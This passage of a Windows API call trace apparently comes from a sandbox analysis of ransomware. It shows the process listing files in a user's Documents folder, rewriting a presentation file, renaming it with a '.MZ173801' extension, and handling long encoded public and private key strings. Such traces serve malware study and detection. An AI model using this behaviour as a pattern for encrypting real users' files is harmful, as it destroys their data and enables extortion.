DgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0171.770] GetCurrentThreadId () returned 0xab4 [0171.770] GetCurrentThreadId () returned 0xab4 [0171.770] GetCurrentThreadId () returned 0xab4 [0171.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.771] GetCurrentThreadId () returned 0xab4 [0171.771] GetCurrentThreadId () returned 0xab4 [0171.771] GetCurrentThreadId () returned 0xab4 [0171.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\--tntGBlNV6a.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\--tntgblnv6a.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0171.771] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0171.771] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0171.771] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x13b5b [0171.771] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0171.771] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x13b5b, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f74c*=0x13b5b, lpOverlapped=0x0) returned 1 [0171.773] CloseHandle (hObject=0x2f8) returned 1 [0171.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\--tntGBlNV6a.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\--tntgblnv6a.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0171.776] WriteFile (in: hFile=0x2f8, lpBuffer=0x24bcfa0*, nNumberOfBytesToWrite=0x13b5b, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24bcfa0*, lpNumberOfBytesWritten=0x19f758*=0x13b5b, lpOverlapped=0x0) returned 1 [0171.778] CloseHandle (hObject=0x2f8) returned 1 [0171.778] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\--tntGBlNV6a.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\--tntgblnv6a.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\--tntGBlNV6a.ppt.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\--tntgblnv6a.ppt.mz173801")) returned 1 [0171.779] GetCurrentThreadId () returned 0xab4 [0171.779] GetCurrentThreadId () returned 0xab4 [0171.779] GetCurrentThreadId () returned 0xab4 [0171.779] GetCurrentThreadId () returned 0xab4 [0171.779] GetCurrentThreadId () returned 0xab4 [0171.779] GetCurrentThreadId () returned 0xab4 [0171.779] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4655a00, ftCreationTime.dwHighDateTime=0x1d5e7ff, ftLastAccessTime.dwLowDateTime=0x286bd1f0, ftLastAccessTime.dwHighDateTime=0x1d5e565, ftLastWriteTime.dwLowDateTime=0x286bd1f0, ftLastWriteTime.dwHighDateTime=0x1d5e565, nFileSizeHigh=0x0, nFileSizeLow=0xd41d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="BiCkmLzhNyPE.ots", cAlternateFileName="BICKML~1.OTS")) returned 1 [0171.779] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.779] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.779] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd68b8720, ftCreationTime.dwHighDateTime=0x1d5e9ad, ftLastAccessTime.dwLowDateTime=0x73a79170, ftLastAccessTime.dwHighDateTime=0x1d5f110, ftLastWriteTime.dwLowDateTime=0x73a79170, ftLastWriteTime.dwHighDateTime=0x1d5f110, nFileSizeHigh=0x0, nFileSizeLow=0x959a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Lzd mcxhAU96soSlLB.odt", cAlternateFileName="LZDMCX~1.ODT")) returned 1 [0171.779] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.779] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.779] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b71050, ftCreationTime.dwHighDateTime=0x1d5e2d7, ftLastAccessTime.dwLowDateTime=0x1da12210, ftLastAccessTime.dwHighDateTime=0x1d5ea20, ftLastWriteTime.dwLowDateTime=0x1da12210, ftLastWriteTime.dwHighDateTime=0x1d5ea20, nFileSizeHigh=0x0, nFileSizeLow=0xc7df, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="q3G nDiy4yr.csv", cAlternateFileName="Q3GNDI~1.CSV")) returned 1 [0171.779] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.779] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\q3G nDiy4yr.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\q3g ndiy4yr.csv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b71050, ftCreationTime.dwHighDateTime=0x1d5e2d7, ftLastAccessTime.dwLowDateTime=0x1da12210, ftLastAccessTime.dwHighDateTime=0x1d5ea20, ftLastWriteTime.dwLowDateTime=0x1da12210, ftLastWriteTime.dwHighDateTime=0x1d5ea20, nFileSizeHigh=0x0, nFileSizeLow=0xc7df)) returned 1 [0171.780] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\q3G nDiy4yr.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\q3g ndiy4yr.csv")) returned 0x20 [0171.780] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\q3G nDiy4yr.csv", dwFileAttributes=0x80) returned 1 [0171.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0171.782] GetCurrentThreadId () returned 0xab4 [0171.782] GetCurrentThreadId () returned 0xab4 [0171.782] GetCurrentThreadId () returned 0xab4 [0171.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, 